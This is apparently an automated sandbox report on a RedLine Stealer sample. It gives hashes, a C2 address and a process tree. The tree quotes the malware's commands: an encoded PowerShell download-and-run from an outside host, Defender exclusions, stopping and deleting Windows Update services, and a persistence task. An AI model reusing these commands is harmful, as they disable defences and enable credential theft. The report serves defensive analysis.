Analysis
- max time kernel
134s - max time network
120s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system - submitted
27/01/2023, 07:36
Static task
static1
Behavioral task
behavioral1
Sample
3b6724f0782fb7defaad3f17b96a80cae307d230.exe
Resource
win7-20220812-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
3b6724f0782fb7defaad3f17b96a80cae307d230.exe
Resource
win10v2004-20221111-en
21 signatures
150 seconds
General
- Target 3b6724f0782fb7defaad3f17b96a80cae307d230.exe
- Size 361KB
- Sample230127-jfelmabc21
- SHA256 47db42f2fea21e2ed1d3957a40e3c3617083483d27c2ec540492a1d6623884f5
- MD5 5ad8cef52f1794c265593cba1ea16791
- SHA1 3b6724f0782fb7defaad3f17b96a80cae307d230
- SHA512 b2482be6f58298395710aac1ea159054e95b6e052de604a1901939f7125b5c3aa7eee964d3225d8d6dd7677cf38a5fcd2699365cc7b5534bc8ff70b3ba845999
- SSDEEP 6144:HOVW5gGzs7XbM+eg9m+UIuAQjXQ680zRQvPvijCL8LJuxrP8YAOm7hMb+Xc:uVWJzs7XAgs+UIuA6Xv80zunvfLXAMbD
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Family
-
redline
Botnet
-
1
C2
-
107.182.129.73:21733
Attributes
-
auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
- Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe - RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/3628-171-0x00000000003D0000-0x00000000003F0000-memory.dmp family_redline - Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 2676 created 1012 2676 SmartDefRun.exe 22 PID 2676 created 1012 2676 SmartDefRun.exe 22 PID 2676 created 1012 2676 SmartDefRun.exe 22 PID 2676 created 1012 2676 SmartDefRun.exe 22 PID 3972 created 596 3972 powershell.EXE 5 - Blocklisted process makes network request 1 IoCs
flow pid Process 12 3476 powershell.exe - Downloads MZ/PE file
- Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe - Executes dropped EXE 4 IoCs
pid Process 4784 C4Loader.exe 4060 new2.exe 4920 SysApp.exe 2676 SmartDefRun.exe - Stops running service(s) 3 TTPs
- Uses the VBS compiler for execution 1 TTPs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE - Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 1336 set thread context of 1084 1336 3b6724f0782fb7defaad3f17b96a80cae307d230.exe 81 PID 4060 set thread context of 3628 4060 new2.exe 91 PID 2676 set thread context of 456 2676 SmartDefRun.exe 117 PID 3972 set thread context of 3156 3972 powershell.EXE 124 - Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe - Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3172 sc.exe 1100 sc.exe 2008 sc.exe 5072 sc.exe 3976 sc.exe - Program crash 2 IoCs
pid pid_target Process procid_target 444 1336 WerFault.exe 79 1460 4060 WerFault.exe 88 - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2176 schtasks.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE - Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 3476 powershell.exe 3476 powershell.exe 4920 SysApp.exe 4920 SysApp.exe 4920 SysApp.exe 4920 SysApp.exe 4920 SysApp.exe 4920 SysApp.exe 4920 SysApp.exe 4920 SysApp.exe 4920 SysApp.exe 4920 SysApp.exe 2676 SmartDefRun.exe 2676 SmartDefRun.exe 4388 powershell.exe 4388 powershell.exe 3628 vbc.exe 2676 SmartDefRun.exe 2676 SmartDefRun.exe 2676 SmartDefRun.exe 2676 SmartDefRun.exe 1904 powershell.exe 1904 powershell.exe 2676 SmartDefRun.exe 2676 SmartDefRun.exe 3972 powershell.EXE 3972 powershell.EXE 4624 powershell.EXE 4624 powershell.EXE 3972 powershell.EXE 3156 dllhost.exe 3156 dllhost.exe 3156 dllhost.exe 3156 dllhost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3476 powershell.exe Token: SeDebugPrivilege 4388 powershell.exe Token: SeDebugPrivilege 3628 vbc.exe Token: SeDebugPrivilege 1904 powershell.exe Token: SeIncreaseQuotaPrivilege 1904 powershell.exe Token: SeSecurityPrivilege 1904 powershell.exe Token: SeTakeOwnershipPrivilege 1904 powershell.exe Token: SeLoadDriverPrivilege 1904 powershell.exe Token: SeSystemProfilePrivilege 1904 powershell.exe Token: SeSystemtimePrivilege 1904 powershell.exe Token: SeProfSingleProcessPrivilege 1904 powershell.exe Token: SeIncBasePriorityPrivilege 1904 powershell.exe Token: SeCreatePagefilePrivilege 1904 powershell.exe Token: SeBackupPrivilege 1904 powershell.exe Token: SeRestorePrivilege 1904 powershell.exe Token: SeShutdownPrivilege 1904 powershell.exe Token: SeDebugPrivilege 1904 powershell.exe Token: SeSystemEnvironmentPrivilege 1904 powershell.exe Token: SeRemoteShutdownPrivilege 1904 powershell.exe Token: SeUndockPrivilege 1904 powershell.exe Token: SeManageVolumePrivilege 1904 powershell.exe Token: 33 1904 powershell.exe Token: 34 1904 powershell.exe Token: 35 1904 powershell.exe Token: 36 1904 powershell.exe Token: SeIncreaseQuotaPrivilege 1904 powershell.exe Token: SeSecurityPrivilege 1904 powershell.exe Token: SeTakeOwnershipPrivilege 1904 powershell.exe Token: SeLoadDriverPrivilege 1904 powershell.exe Token: SeSystemProfilePrivilege 1904 powershell.exe Token: SeSystemtimePrivilege 1904 powershell.exe Token: SeProfSingleProcessPrivilege 1904 powershell.exe Token: SeIncBasePriorityPrivilege 1904 powershell.exe Token: SeCreatePagefilePrivilege 1904 powershell.exe Token: SeBackupPrivilege 1904 powershell.exe Token: SeRestorePrivilege 1904 powershell.exe Token: SeShutdownPrivilege 1904 powershell.exe Token: SeDebugPrivilege 1904 powershell.exe Token: SeSystemEnvironmentPrivilege 1904 powershell.exe Token: SeRemoteShutdownPrivilege 1904 powershell.exe Token: SeUndockPrivilege 1904 powershell.exe Token: SeManageVolumePrivilege 1904 powershell.exe Token: 33 1904 powershell.exe Token: 34 1904 powershell.exe Token: 35 1904 powershell.exe Token: 36 1904 powershell.exe Token: SeIncreaseQuotaPrivilege 1904 powershell.exe Token: SeSecurityPrivilege 1904 powershell.exe Token: SeTakeOwnershipPrivilege 1904 powershell.exe Token: SeLoadDriverPrivilege 1904 powershell.exe Token: SeSystemProfilePrivilege 1904 powershell.exe Token: SeSystemtimePrivilege 1904 powershell.exe Token: SeProfSingleProcessPrivilege 1904 powershell.exe Token: SeIncBasePriorityPrivilege 1904 powershell.exe Token: SeCreatePagefilePrivilege 1904 powershell.exe Token: SeBackupPrivilege 1904 powershell.exe Token: SeRestorePrivilege 1904 powershell.exe Token: SeShutdownPrivilege 1904 powershell.exe Token: SeDebugPrivilege 1904 powershell.exe Token: SeSystemEnvironmentPrivilege 1904 powershell.exe Token: SeRemoteShutdownPrivilege 1904 powershell.exe Token: SeUndockPrivilege 1904 powershell.exe Token: SeManageVolumePrivilege 1904 powershell.exe Token: 33 1904 powershell.exe - Suspicious use of WriteProcessMemory 57 IoCs
description pid Process procid_target PID 1336 wrote to memory of 1084 1336 3b6724f0782fb7defaad3f17b96a80cae307d230.exe 81 PID 1336 wrote to memory of 1084 1336 3b6724f0782fb7defaad3f17b96a80cae307d230.exe 81 PID 1336 wrote to memory of 1084 1336 3b6724f0782fb7defaad3f17b96a80cae307d230.exe 81 PID 1336 wrote to memory of 1084 1336 3b6724f0782fb7defaad3f17b96a80cae307d230.exe 81 PID 1336 wrote to memory of 1084 1336 3b6724f0782fb7defaad3f17b96a80cae307d230.exe 81 PID 1084 wrote to memory of 3476 1084 vbc.exe 84 PID 1084 wrote to memory of 3476 1084 vbc.exe 84 PID 1084 wrote to memory of 3476 1084 vbc.exe 84 PID 3476 wrote to memory of 4784 3476 powershell.exe 87 PID 3476 wrote to memory of 4784 3476 powershell.exe 87 PID 3476 wrote to memory of 4784 3476 powershell.exe 87 PID 3476 wrote to memory of 4060 3476 powershell.exe 88 PID 3476 wrote to memory of 4060 3476 powershell.exe 88 PID 3476 wrote to memory of 4060 3476 powershell.exe 88 PID 3476 wrote to memory of 4920 3476 powershell.exe 90 PID 3476 wrote to memory of 4920 3476 powershell.exe 90 PID 3476 wrote to memory of 4920 3476 powershell.exe 90 PID 4060 wrote to memory of 3628 4060 new2.exe 91 PID 4060 wrote to memory of 3628 4060 new2.exe 91 PID 4060 wrote to memory of 3628 4060 new2.exe 91 PID 4060 wrote to memory of 3628 4060 new2.exe 91 PID 3476 wrote to memory of 2676 3476 powershell.exe 92 PID 3476 wrote to memory of 2676 3476 powershell.exe 92 PID 4060 wrote to memory of 3628 4060 new2.exe 91 PID 1728 wrote to memory of 2008 1728 cmd.exe 107 PID 1728 wrote to memory of 2008 1728 cmd.exe 107 PID 1728 wrote to memory of 5072 1728 cmd.exe 108 PID 1728 wrote to memory of 5072 1728 cmd.exe 108 PID 1728 wrote to memory of 3976 1728 cmd.exe 109 PID 1728 wrote to memory of 3976 1728 cmd.exe 109 PID 1728 wrote to memory of 3172 1728 cmd.exe 110 PID 1728 wrote to memory of 3172 1728 cmd.exe 110 PID 1728 wrote to memory of 1100 1728 cmd.exe 111 PID 1728 wrote to memory of 1100 1728 cmd.exe 111 PID 1728 wrote to memory of 1476 1728 cmd.exe 112 PID 1728 wrote to memory of 1476 1728 cmd.exe 112 PID 1728 wrote to memory of 3968 1728 cmd.exe 113 PID 1728 wrote to memory of 3968 1728 cmd.exe 113 PID 1728 wrote to memory of 2852 1728 cmd.exe 114 PID 1728 wrote to memory of 2852 1728 cmd.exe 114 PID 1728 wrote to memory of 3316 1728 cmd.exe 115 PID 1728 wrote to memory of 3316 1728 cmd.exe 115 PID 1728 wrote to memory of 3140 1728 cmd.exe 116 PID 1728 wrote to memory of 3140 1728 cmd.exe 116 PID 2676 wrote to memory of 456 2676 SmartDefRun.exe 117 PID 4920 wrote to memory of 2176 4920 SysApp.exe 120 PID 4920 wrote to memory of 2176 4920 SysApp.exe 120 PID 4920 wrote to memory of 2176 4920 SysApp.exe 120 PID 3972 wrote to memory of 3156 3972 powershell.EXE 124 PID 3972 wrote to memory of 3156 3972 powershell.EXE 124 PID 3972 wrote to memory of 3156 3972 powershell.EXE 124 PID 3972 wrote to memory of 3156 3972 powershell.EXE 124 PID 3972 wrote to memory of 3156 3972 powershell.EXE 124 PID 3972 wrote to memory of 3156 3972 powershell.EXE 124 PID 3972 wrote to memory of 3156 3972 powershell.EXE 124 PID 3972 wrote to memory of 3156 3972 powershell.EXE 124 PID 3972 wrote to memory of 3156 3972 powershell.EXE 124
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:596
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{d65638b2-32b9-4cb3-a63a-296701b47083}2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3156
-
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1012
-
C:\Users\Admin\AppData\Local\Temp\3b6724f0782fb7defaad3f17b96a80cae307d230.exe"C:\Users\Admin\AppData\Local\Temp\3b6724f0782fb7defaad3f17b96a80cae307d230.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1084 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3476 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:4784
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3628
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4060 -s 1366⤵
- Program crash
PID:1460
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-
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4920 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:2176
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2676
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-
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1336 -s 2923⤵
- Program crash
PID:444
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4388
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2008
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:5072
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:3976
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:3172
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C:\Windows\System32\sc.exesc stop dosvc3⤵
